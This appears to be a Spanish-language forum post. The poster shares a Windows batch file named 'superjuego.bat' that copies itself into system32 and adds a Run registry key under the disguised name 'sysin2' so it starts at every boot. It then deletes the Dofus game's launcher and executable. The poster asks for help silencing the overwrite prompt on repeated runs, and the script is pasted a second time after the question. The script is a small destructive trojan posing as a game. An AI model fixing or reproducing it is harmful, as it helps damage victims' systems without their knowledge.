Citar
@echo off
copy superjuego.bat C:\WINDOWS\system32
cd C:\WINDOWS\system32
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/windows/system32/superjuego.bat"
cd C:\Archivos de programa\Dofus
del uplauncher.exe
cd C:\Archivos de programa\Dofus 2\app
del uplauncher.exe
del dofus.exe
pause > nul
El problema es que cuando se ejecuta más de una vez, se vuelve a copiar al registro y se pausa para pedir confirmación para sobrescribirlo. He probado con la variable if not exist pero no he conseguido solucionarlo. ¿Qué es lo que falla?copy superjuego.bat C:\WINDOWS\system32
cd C:\WINDOWS\system32
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/windows/system32/superjuego.bat"
cd C:\Archivos de programa\Dofus
del uplauncher.exe
cd C:\Archivos de programa\Dofus 2\app
del uplauncher.exe
del dofus.exe
pause > nul
Gracias de antemano.